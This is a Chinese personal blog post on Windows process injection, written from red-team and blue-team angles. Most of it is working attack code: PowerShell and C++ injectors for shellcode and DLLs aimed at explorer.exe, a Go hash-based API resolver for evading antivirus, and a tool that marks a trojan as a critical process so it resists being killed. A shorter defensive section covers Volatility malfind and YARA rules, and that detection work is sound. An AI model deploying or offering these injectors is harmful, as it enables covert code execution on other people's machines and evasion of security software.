欢迎来到7N的个人博客!

红队和蓝队视角下的Windows进程注入


avatar
7ech_N3rd 2024-12-25 324


山茶花镇楼

Red Team

经典路径

(OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread)。就好比把大象放进冰箱要几步:

  • 打开冰箱门(OpenProcess)
    首先,你得找到目标进程(冰箱)并打开它的“门”。
    调用 OpenProcess,就是告诉系统:“我要访问这个进程的资源。”如果成功,你就拿到了目标进程的“句柄”(类似于钥匙)。
  • 腾出空间放大象(VirtualAllocEx)
    冰箱(目标进程)里可能没有足够的空间放你的大象,所以你需要在冰箱里“清理”或“分配”一块空间。
    调用 VirtualAllocEx,就是在目标进程的内存中分配一块新的区域,用来存放你的代码。
  • 把大象放进冰箱(WriteProcessMemory)
    现在有了空间,你需要把你的大象(shellcode代码)放进去。
    调用 WriteProcessMemory,就是把你的代码写入目标进程的内存中。
  • 关上冰箱门并且启动(CreateRemoteThread)
    大象放进去了,但它还只是静静地躺在那里。你需要让冰箱启动,开始“工作”——也就是让目标进程运行你刚才放进去的代码。
    调用 CreateRemoteThread,就是在目标进程中创建一个新的线程,让它指向你写入的shellcode代码起始地址,从而执行你的代码。

    具体操作

    具体实现的Powershell代码:


Set-StrictMode -Version 2

# 定义C#代码
$pmdMx = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Injector {
    public class Functions {
        [Flags]
        public enum ProcessAccessFlags : uint {
            All = 0x001F0FFF,
            CreateThread = 0x0002,
            VirtualMemoryOperation = 0x0008,
            VirtualMemoryRead = 0x0010,
            VirtualMemoryWrite = 0x0020,
            QueryInformation = 0x0400
        }

        [Flags]
        public enum AllocationType : uint {
            Commit = 0x1000,
            Reserve = 0x2000
        }

        [Flags]
        public enum MemoryProtection : uint {
            ReadWrite = 0x04,
            ExecuteRead = 0x20
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(IntPtr hObject);
    }
}
"@

# 编译C#代码
$i70BF = New-Object Microsoft.CSharp.CSharpCodeProvider
$aU = New-Object System.CodeDom.Compiler.CompilerParameters
$aU.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$aU.GenerateInMemory = $True
$lI = $i70BF.CompileAssemblyFromSource($aU, $pmdMx)

# 获取目标进程PID(以explorer.exe为例)
$TargetProcess = Get-Process -Name "explorer" | Select-Object -First 1
if (-not $TargetProcess) { Write-Error "目标进程未找到!"; return }
$TargetPID = $TargetProcess.Id

# 定义Shellcode(替换为实际Shellcode的base64编码)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String("...")

# 调用C#函数
$Injector = $lI.CompiledAssembly.CreateInstance("Injector.Functions")

# 打开目标进程
$ProcessHandle = $Injector::OpenProcess([Injector.Functions+ProcessAccessFlags]::All, $false, $TargetPID)
if (-not $ProcessHandle) { Write-Error "无法打开目标进程!"; return }

# 在目标进程中分配内存(初始为PAGE_READWRITE)
$RemoteMemory = $Injector::VirtualAllocEx($ProcessHandle, [IntPtr]::Zero, $Shellcode.Length, [Injector.Functions+AllocationType]::Commit, [Injector.Functions+MemoryProtection]::ReadWrite)
if (-not $RemoteMemory) { Write-Error "无法在目标进程中分配内存!"; return }

# 写入Shellcode到目标进程
$BytesWritten = [IntPtr]::Zero
$WriteResult = $Injector::WriteProcessMemory($ProcessHandle, $RemoteMemory, $Shellcode, $Shellcode.Length, [ref]$BytesWritten)
if (-not $WriteResult) { Write-Error "无法将Shellcode写入目标进程!"; return }

# 修改内存权限为PAGE_EXECUTE_READ
$OldProtect = [Injector.Functions+MemoryProtection]::ReadWrite
$ProtectResult = $Injector::VirtualProtectEx($ProcessHandle, $RemoteMemory, $Shellcode.Length, [Injector.Functions+MemoryProtection]::ExecuteRead, [ref]$OldProtect)
if (-not $ProtectResult) { Write-Error "无法修改内存权限!"; return }

# 创建远程线程执行Shellcode
$ThreadHandle = $Injector::CreateRemoteThread($ProcessHandle, [IntPtr]::Zero, 0, $RemoteMemory, [IntPtr]::Zero, 0, [IntPtr]::Zero)
if (-not $ThreadHandle) { Write-Error "无法创建远程线程!"; return }

Write-Host "Shellcode注入成功!"

# 关闭句柄
$Injector::CloseHandle($ProcessHandle)
$Injector::CloseHandle($ThreadHandle)

这样就实现了对explorer.exe进程的系统注入了,但是想要防御也十分简单,例如我直接监控CreateRemoteThread函数,给这个函数打上钩子。就可以实现防御,那作为攻击者,我们还有什么其他的手法呢?

dll 注入

  • 经典路径:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(shellcode) -> CreateRemoteThread
  • dll注入:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(dll文件路径) -> CreateRemoteThread(LoadLibraryA(dll文件路径))
    有啥好处呢?这样我们就不用对每一个单独的系统写shellcode,只用通过调用专门的dll就能实现恶意代码的注入,扩展性好,但是api调用路径还是没有大变,还是很容易被查杀,
Set-StrictMode -Version 2

# 定义C#代码
$pmdMx = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Injector {
    public class Functions {
        [Flags]
        public enum ProcessAccessFlags : uint {
            All = 0x001F0FFF,
            CreateThread = 0x0002,
            VirtualMemoryOperation = 0x0008,
            VirtualMemoryRead = 0x0010,
            VirtualMemoryWrite = 0x0020,
            QueryInformation = 0x0400
        }
        [Flags]
        public enum AllocationType : uint {
            Commit = 0x1000,
            Reserve = 0x2000
        }
        [Flags]
        public enum MemoryProtection : uint {
            ReadWrite = 0x04,
            ExecuteRead = 0x20
        }
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(IntPtr hObject);
    }
}
"@

# 编译C#代码
$i70BF = New-Object Microsoft.CSharp.CSharpCodeProvider
$aU = New-Object System.CodeDom.Compiler.CompilerParameters
$aU.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$aU.GenerateInMemory = $True
$lI = $i70BF.CompileAssemblyFromSource($aU, $pmdMx)

# 获取目标进程PID(以explorer.exe为例)
$TargetProcess = Get-Process -Name "explorer" | Select-Object -First 1
if (-not $TargetProcess) { Write-Error "目标进程未找到!"; return }
$TargetPID = $TargetProcess.Id

# 定义DLL路径(替换为实际的DLL路径)
$DllPath = "C:\Path\To\Your.dll"
$DllPathBytes = [System.Text.Encoding]::ASCII.GetBytes($DllPath + [char]0)  # 添加字符串结束符

# 调用C#函数
$Injector = $lI.CompiledAssembly.CreateInstance("Injector.Functions")

# 打开目标进程
$ProcessHandle = $Injector::OpenProcess([Injector.Functions+ProcessAccessFlags]::All, $false, $TargetPID)
if (-not $ProcessHandle) { Write-Error "无法打开目标进程!"; return }

# 在目标进程中分配内存(用于存储DLL路径)
$RemoteMemory = $Injector::VirtualAllocEx($ProcessHandle, [IntPtr]::Zero, $DllPathBytes.Length, [Injector.Functions+AllocationType]::Commit, [Injector.Functions+MemoryProtection]::ReadWrite)
if (-not $RemoteMemory) { Write-Error "无法在目标进程中分配内存!"; return }

# 写入DLL路径到目标进程
$BytesWritten = [IntPtr]::Zero
$WriteResult = $Injector::WriteProcessMemory($ProcessHandle, $RemoteMemory, $DllPathBytes, $DllPathBytes.Length, [ref]$BytesWritten)
if (-not $WriteResult) { Write-Error "无法将DLL路径写入目标进程!"; return }

# 获取kernel32.dll模块句柄
$Kernel32Handle = $Injector::GetModuleHandle("kernel32.dll")
if (-not $Kernel32Handle) { Write-Error "无法获取kernel32.dll句柄!"; return }

# 获取LoadLibraryA函数地址
$LoadLibraryAddress = $Injector::GetProcAddress($Kernel32Handle, "LoadLibraryA")
if (-not $LoadLibraryAddress) { Write-Error "无法获取LoadLibraryA地址!"; return }

# 创建远程线程,调用LoadLibraryA加载DLL
$ThreadHandle = $Injector::CreateRemoteThread($ProcessHandle, [IntPtr]::Zero, 0, $LoadLibraryAddress, $RemoteMemory, 0, [IntPtr]::Zero)
if (-not $ThreadHandle) { Write-Error "无法创建远程线程!"; return }

Write-Host "DLL注入成功!"

# 关闭句柄
$Injector::CloseHandle($ProcessHandle)
$Injector::CloseHandle($ThreadHandle)

更加底层(如调NtCreateThreadEx)

要知道CreateRemoteThread函数的原理是调用了驱动层级的NtCreateThreadEx函数,如果我们直接调用NtCreateThreadEx而不是通过用户层级的CreateRemoteThread,就能更难被发现。这里就不适合使用高级的脚本代码进行调用(太繁琐了,Powershell->C#->.NET->win32API),更适合使用Cpp这种语言实现
这里直接参考了三好学生大佬的开源代码,学习了:https://github.com/3gstudent

//Use NtCreateThreadEx to inject dll

#include "stdafx.h"

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <tlhelp32.h>
#pragma comment(lib,"Advapi32.lib") 

typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer);

#define NT_SUCCESS(x) ((x) >= 0)

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef NTSTATUS(NTAPI * pfnRtlCreateUserThread)(
    IN HANDLE ProcessHandle,
    IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
    IN BOOLEAN CreateSuspended,
    IN ULONG StackZeroBits OPTIONAL,
    IN SIZE_T StackReserve OPTIONAL,
    IN SIZE_T StackCommit OPTIONAL,
    IN PTHREAD_START_ROUTINE StartAddress,
    IN PVOID Parameter OPTIONAL,
    OUT PHANDLE ThreadHandle OPTIONAL,
    OUT PCLIENT_ID ClientId OPTIONAL);

BOOL InjectDll(UINT32 ProcessId, char *DllFullPath)
{

    if (strstr(DllFullPath, "\\\\") != 0)
    {
        printf("[!]Wrong Dll path\n");
        return FALSE;
    }

    if (strstr(DllFullPath, "\\") == 0)
    {
        printf("[!]Need Dll full path\n");
        return FALSE;
    }

    HANDLE ProcessHandle = NULL;

    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
    if (ProcessHandle == NULL)
    {
        printf("[!]OpenProcess error\n");
        return FALSE;
    }

    UINT32 DllFullPathLength = (strlen(DllFullPath) + 1);
    PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (DllFullPathBufferData == NULL)
    {
        CloseHandle(ProcessHandle);
        printf("[!]DllFullPathBufferData error\n");
        return FALSE;
    }
    SIZE_T ReturnLength;
    BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength);

    LPTHREAD_START_ROUTINE LoadLibraryAddress = NULL;
    HMODULE Kernel32Module = GetModuleHandle("Kernel32");
    LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA");
    pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
    if (NtCreateThreadEx == NULL)
    {
        CloseHandle(ProcessHandle);
        printf("[!]NtCreateThreadEx error\n");
        return FALSE;
    }
    HANDLE ThreadHandle = NULL;
    NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryAddress, DllFullPathBufferData, FALSE, NULL, NULL, NULL, NULL);
    if (ThreadHandle == NULL)
    {
        CloseHandle(ProcessHandle);
        printf("[!]ThreadHandle error\n");
        return FALSE;
    }
    if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
    {
        printf("[!]WaitForSingleObject error\n");
        return FALSE;
    }
    CloseHandle(ProcessHandle);
    CloseHandle(ThreadHandle);
    return TRUE;
}

BOOL FreeDll(UINT32 ProcessId, char *DllFullPath)
{
    BOOL bMore = FALSE, bFound = FALSE;
    HANDLE hSnapshot;
    HMODULE hModule = NULL;
    MODULEENTRY32 me = { sizeof(me) };
    BOOL bSuccess = FALSE;
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessId);
    bMore = Module32First(hSnapshot, &me);
    for (; bMore; bMore = Module32Next(hSnapshot, &me)) {
        if (!_tcsicmp((LPCTSTR)me.szModule, DllFullPath) || !_tcsicmp((LPCTSTR)me.szExePath, DllFullPath))
        {
            bFound = TRUE;
            break;
        }
    }
    if (!bFound) {
        CloseHandle(hSnapshot);
        return FALSE;
    }

    HANDLE ProcessHandle = NULL;

    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

    if (ProcessHandle == NULL)
    {
        printf("[!]OpenProcess error\n");
        return FALSE;
    }

    LPTHREAD_START_ROUTINE FreeLibraryAddress = NULL;
    HMODULE Kernel32Module = GetModuleHandle("Kernel32");
    FreeLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "FreeLibrary");
    pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
    if (NtCreateThreadEx == NULL)
    {
        CloseHandle(ProcessHandle);
        printf("[!]NtCreateThreadEx error\n");
        return FALSE;
    }
    HANDLE ThreadHandle = NULL;

    NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)FreeLibraryAddress, me.modBaseAddr, FALSE, NULL, NULL, NULL, NULL);
    if (ThreadHandle == NULL)
    {
        CloseHandle(ProcessHandle);
        printf("[!]ThreadHandle error\n");
        return FALSE;
    }
    if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
    {
        printf("[!]WaitForSingleObject error\n");
        return FALSE;
    }
    CloseHandle(ProcessHandle);
    CloseHandle(ThreadHandle);
    return TRUE;
}

BOOL EnableDebugPrivilege(BOOL fEnable)
{
    BOOL fOk = FALSE;
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return(fOk);
}

int main(int argc, char *argv[])
{
    printf("Use NtCreateThreadEx to inject dll\n\n");
    if (!EnableDebugPrivilege(TRUE))
    {
        printf("[!]AdjustTokenPrivileges Failed.<%d>\n", GetLastError());
    }

    if (argc != 3)
    {
        printf("Usage:\n");
        printf("%s <PID> <Dll Full Path>\n", argv[0]);
        return 0;
    }
    if (!InjectDll((DWORD)atoi(argv[1]), argv[2]))
    {
        printf("[!]InjectDll error \n");
        return 1;
    }

    if (!FreeDll((DWORD)atoi(argv[1]), argv[2]))
    {
        printf("[!]FreeDll error \n");
        return 1;
    }
    printf("[+]InjectDll success\n");
    return 0;
}

这里的调用链说白了就是

  • EnableDebugPrivilege -> OpenProcess -> VirtualAllocEx -> WriteProcessMemory(dll路径) -> NtCreateThreadEx调用-> Check Thread Object&WaitForSingleObject(检测是否注入成功)->Freedll(善后工作,清理痕迹)
    其中EnableDebugPrivilege是确保我们有能够对其他进程读写的权限,后面的Freedll之类的操作相较于经典路径是被封装到了CreateRemoteThread这个函数里了,所以难度更大

    隐式调用

  • 经典路径:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(shellcode) -> CreateRemoteThread
  • 隐式路径:DynamticLoad(OpenProcess) -> DynamticLoad(VirtualAllocEx) -> DynamticLoad(WriteProcessMemory(shellcode)) -> DynamticLoad(CreateRemoteThread)
    这招主要对抗的是静态分析,例如我作为杀软很有可能检测你的具体调用了那些win32API,一但看到这上面几个关键的API说明有大问题。那么我们可以先加载kernel32.dll,然后再去里面根据想要的时候,动态加载那些函数,例如在下面的go代码中,我就是通过哈希来定位具体的函数位置,在使用的时候就可以调用该函数加载了win32API了
package main

import (
    "bytes"
    "encoding/binary"
    "fmt"
    "syscall"
    "unsafe"
)

const (
    PROCESS_ALL_ACCESS = 0x001F0FFF
    MEM_COMMIT         = 0x1000
    MEM_RESERVE        = 0x2000
    PAGE_READWRITE     = 0x04
)

type ExportDirectory struct {
    Characteristics       uint32
    TimeDateStamp         uint32
    MajorVersion          uint16
    MinorVersion          uint16
    Name                  uint32
    Base                  uint32
    NumberOfFunctions     uint32
    NumberOfNames         uint32
    AddressOfFunctions    uint32
    AddressOfNames        uint32
    AddressOfNameOrdinals uint32
}

func hashFunctionName(functionName string) uint32 {
    var hash uint32 = 0
    for _, c := range functionName {
        hash = ((hash << 5) + hash) + uint32(c) // 等价于 hash * 33 + c
    }
    return hash
}

func getProcAddressByHash(module syscall.Handle, targetHash uint32) (uintptr, error) {
    moduleBase := uintptr(module)

    dosHeader := (*[64]byte)(unsafe.Pointer(moduleBase)) // DOS Header
    peOffset := binary.LittleEndian.Uint32(dosHeader[0x3C:0x40])
    peHeader := moduleBase + uintptr(peOffset)

    exportDirectoryRVA := binary.LittleEndian.Uint32((*[4]byte)(unsafe.Pointer(peHeader + 0x78))[:])
    exportDirectory := (*ExportDirectory)(unsafe.Pointer(moduleBase + uintptr(exportDirectoryRVA)))

    addressOfNames := moduleBase + uintptr(exportDirectory.AddressOfNames)
    addressOfFunctions := moduleBase + uintptr(exportDirectory.AddressOfFunctions)
    addressOfNameOrdinals := moduleBase + uintptr(exportDirectory.AddressOfNameOrdinals)

    for i := uint32(0); i < exportDirectory.NumberOfNames; i++ {
        nameRVA := *(*uint32)(unsafe.Pointer(addressOfNames + uintptr(i*4)))
        name := (*byte)(unsafe.Pointer(moduleBase + uintptr(nameRVA)))
        var nameBuf bytes.Buffer
        for *name != 0 {
            nameBuf.WriteByte(*name)
            name = (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(name)) + 1))
        }

        functionName := nameBuf.String()
        hash := hashFunctionName(functionName)
        if hash == targetHash {
            ordinal := *(*uint16)(unsafe.Pointer(addressOfNameOrdinals + uintptr(i*2)))
            functionRVA := *(*uint32)(unsafe.Pointer(addressOfFunctions + uintptr(ordinal*4)))
            return moduleBase + uintptr(functionRVA), nil
        }
    }

    return 0, fmt.Errorf("目标函数未找到")
}
...
loadLibraryHash := hashFunctionName("LoadLibraryA") // 动态解析LoadLibraryA的地址 
loadLibraryAddr, err := getProcAddressByHash(syscall.Handle(kernel32), loadLibraryHash)
...

syscall地狱之门

挖个坑先还在学,简单讲就是在当今普遍的64位进程中是可以兼容32位的程序的,那具体是咋实现的呢?
去你的64位电脑C:\Windows目录下看看会发现相较于传统的32位电脑SysWow64的文件夹,其实这个里面全是32位的程序,用于兼容64位系统上的32位程序。
WOW64 的具体作用是:

  • 模拟一个 32 位环境,让 32 位程序能够在 64 位操作系统上运行。
  • 将 32 位程序的系统调用请求转换为对应的 64 位系统调用。

“地狱之门”(Hell’s Gate)技术的核心是从 32 位模式切换到 64 位模式。通过这种切换,程序可以直接调用 64 位的系统调用,而绕过 WOW64 的转换层。

切换到 64 位模式后:

  • 程序不再受 WOW64 的限制,可以直接调用 64 位的系统调用。
  • 不需要再通过 Win32 API,直接与内核交互。
    一下是具体流程
64 位程序调用流程
---------------------------------------------------------
[64 位程序] --> [Win32 API] --> [64 位系统调用] --> [内核]
---------------------------------------------------------

普通 32 位程序调用流程(经过 WOW64 子系统)
---------------------------------------------------------
[32 位程序] --> [Win32 API (32 位)] --> [WOW64 转换层] --> [64 位系统调用] --> [内核]
---------------------------------------------------------

地狱之门程序调用流程(绕过 WOW64 子系统)
---------------------------------------------------------
[32 位程序] --> [切换到 64 位模式] --> [64 位系统调用] --> [内核]
---------------------------------------------------------

那么如何切换呢?这就要用到汇编代码了,可惜我还不会,请一个逆向大手子来救救我
GPT说是

mov r10, rcx          ; 将第一个参数移动到 r10
mov eax, syscallNumber ; 加载系统调用号到 eax
syscall               ; 执行系统调用
ret                   ; 返回到调用者

Blue Team

现在我们了解了那么多的手法,有无好的查杀手段呢?

定位高权限内存数据

在上述的利用链子中我们发现都有一步VirtualAllocEx申请内存为可执行权限,而且允许黑客读写,这其实是相当高的权限了,所以说我们只要定位这一部分的内存数据,结合网络链接情况定位,就能够实现查杀。不止如此,如果一个内存中二进制代码没有对应的硬盘文件内容,那么这个就很有可能是shellcode的了

Volatility一把梭

现有的Volatility工具的malfind插件就是干这个事情的。当你调用插件的时候,首先,malfind 会扫描所有进程的虚拟内存空间,逐一检查每个内存段。它会重点关注内存段的保护标志(Memory Protection Flags),因为合法的代码段通常具有特定的权限,比如 PAGE_EXECUTE_READPAGE_EXECUTE_READWRITE。如果一个内存段同时具有可执行(EXECUTE)和写入(WRITE)权限(例如 PAGE_EXECUTE_READWRITE),这可能是恶意代码注入的迹象,因为合法的代码段通常不会同时允许写入和执行。

其次,malfind 会检查内存段是否映射到磁盘上的文件。如果一个可执行的内存段没有对应的磁盘文件,那么它很可能是恶意代码,比如通过进程注入或 shellcode 加载的代码。

此外,malfind 还会提取可疑的内存区域,并尝试显示其前几个字节的十六进制和反汇编内容,以便进一步分析。例如,恶意代码的入口点可能包含典型的 shellcode 或异常的指令,这些都可以通过反汇编内容识别出来。
具体命令

vol.py -f <dumpfile> windows.MalFind.Malfind

还有就是重点关注例如explorer.exe,onedrive.exe,svchost.exe这些都是可能的低权限的系统进程,很隐蔽,不好发现有啥问题。还有就是如chrome.exe,msedge.exe这些浏览器进程,因为这些程序向外发送请求非常正常。今年国赛+长城杯的溯源题目就是注入到了Onedrive.exe里面

基于正则的内存检测(yara)

网上有开源的yara框架就是基于正则和规则的扫描:VirusTotal/yara: The pattern matching swiss knife

yara [选项] <规则文件> <目标文件或目录>

这个最主要还是看规则

yara规则大赏

关于开源的规则其实网上也有:
这里我们就拿一个Scarab的恶意进程检测的yar文件来看看yar规则具体是怎么一回事。

import "pe"

rule Scieron
{
    meta:
        author = "Symantec Security Response"
        ref = "http://www.symantec.com/connect/tr/blogs/scarab-attackers-took-aim-select-russian-targets-2012"
        date = "22.01.15"

    strings:
        // .text:10002069 66 83 F8 2C                       cmp     ax, ','
        // .text:1000206D 74 0C                             jz      short loc_1000207B
        // .text:1000206F 66 83 F8 3B                       cmp     ax, ';'
        // .text:10002073 74 06                             jz      short loc_1000207B
        // .text:10002075 66 83 F8 7C                       cmp     ax, '|'
        // .text:10002079 75 05                             jnz     short loc_10002080
        $code1 = {66 83 F? 2C 74 0C 66 83 F? 3B 74 06 66 83 F? 7C 75 05}

        // .text:10001D83 83 F8 09                          cmp     eax, 9          ; switch 10 cases
        // .text:10001D86 0F 87 DB 00 00 00                 ja      loc_10001E67    ; jumptable 10001D8C default case
        // .text:10001D8C FF 24 85 55 1F 00+                jmp     ds:off_10001F55[eax*4] ; switch jump
        $code2 = {83 F? 09 0F 87 ?? 0? 00 00 FF 24}

        $str1  = "IP_PADDING_DATA" wide ascii
        $str2  = "PORT_NUM" wide ascii

    condition:
        all of them
}

这个就是导入pe.yar里的所有规则

import pe 

在这里meta部分指得是这个规则的信息,像是作者还有规则发布日期之类的,

meta:
        author = "Symantec Security Response"
        ref = "http://www.symantec.com/connect/tr/blogs/scarab-attackers-took-aim-select-russian-targets-2012"
        date = "22.01.15"

而这里的code1是匹配的十六进制变量:
$code1 = {66 83 F? 2C 74 0C 66 83 F? 3B 74 06 66 83 F? 7C 75 05}
对应汇编代码就是

cmp     ax, ','
jz      short loc_1000207B
cmp     ax, ';'
jz      short loc_1000207B
cmp     ax, '|'
jnz     short loc_10002080``

同理$code2 = {83 F? 09 0F 87 ?? 0? 00 00 FF 24}
但不同的是$str1 = "IP_PADDING_DATA" wide ascii就是匹配中所有内容为IP_PADDING_DATA可见字符
最后的

    condition:
        all of them

就是匹配上述所有的所有变量,包括所有的16进制变量和ASCII变量
那么我们也可以根据这些编写自己的规则了。

Vol + yara联动

其实vol里面也有yarascan的插件用于加载yar规则并且扫描。例如我先用vol的malfindmalscan确定大致的感染进程,然后结合windows.memdump.Memdump来实现导出对应进程内存的镜像,最后使用yara命令来扫描具体是感染了那种木马

花絮

发现一个小技巧,在查资料的时候发现一个内核函数NtSetInformationProcess,我们只要一杀svchost.exe就会蓝屏就是因为系统只要检测到关键进程挂了就会蓝屏。但是这个函数能够把我们的木马程序设置为关键进程,这样就能够实现一定程度的防御杀进程了推荐一下gt428的开源小工具:CriticalProcess/criticalproc.cpp at master · CnAoKip/CriticalProcess

#include <windows.h>
#include <Tlhelp32.h>
#include <stdio.h>
#include <locale.h>
#define ProcessBreakOnTermination 29

typedef NTSTATUS(NTAPI *_NtSetInformationProcess)(HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength);
typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength OPTIONAL);

BOOL WINAPI EnableDebugPrivilege(BOOL fEnable)
{
    BOOL fOk = FALSE;
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return(fOk);
}

BOOL CallNtSetInformationProcess(HANDLE hProcess, ULONG Flag)
{
    _NtSetInformationProcess NtSetInformationProcess = (_NtSetInformationProcess)GetProcAddress(GetModuleHandleA("NtDll.dll"), "NtSetInformationProcess");
    if (!NtSetInformationProcess)
    {
        return 0;
    }
    if(NtSetInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)ProcessBreakOnTermination, &Flag, sizeof(ULONG))<0)
        return 0;
    return 1;
}

BOOL CallNtQueryInformationProcess(HANDLE hProcess, PULONG pFlag){
    _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("NtDll.dll"), "NtQueryInformationProcess");
    if (!NtQueryInformationProcess)
    {
        return 0;
    }
    if(NtQueryInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)ProcessBreakOnTermination, pFlag, sizeof(ULONG), NULL)<0)
        return 0;
    return 1;
}

DWORD WINAPI GetProcessID(LPCSTR FileName)
{
    HANDLE myhProcess;
    PROCESSENTRY32 mype;
    mype.dwSize = sizeof(PROCESSENTRY32); 
    BOOL mybRet;
    myhProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    mybRet = Process32First(myhProcess,&mype);
    while(mybRet){
        if(lstrcmpA(FileName ,mype.szExeFile) == 0) return mype.th32ProcessID;
        else mybRet = Process32Next(myhProcess,&mype);
    }
    return 0;
}

static void print_help(){
    fwprintf(stderr, L"用法:CriticalProc.exe [/n imagename] [/p [pid]] [/t] [/f] [/q]\n\n\
描述:\n\
    使用此工具修改或判断任意进程的关键度。\n\n\
参数:\n\
    /n imagename      通过imagename 指定要设定关键度的进程。\n\
    /p [pid]          通过pid 指定要设定关键度的进程。\n\
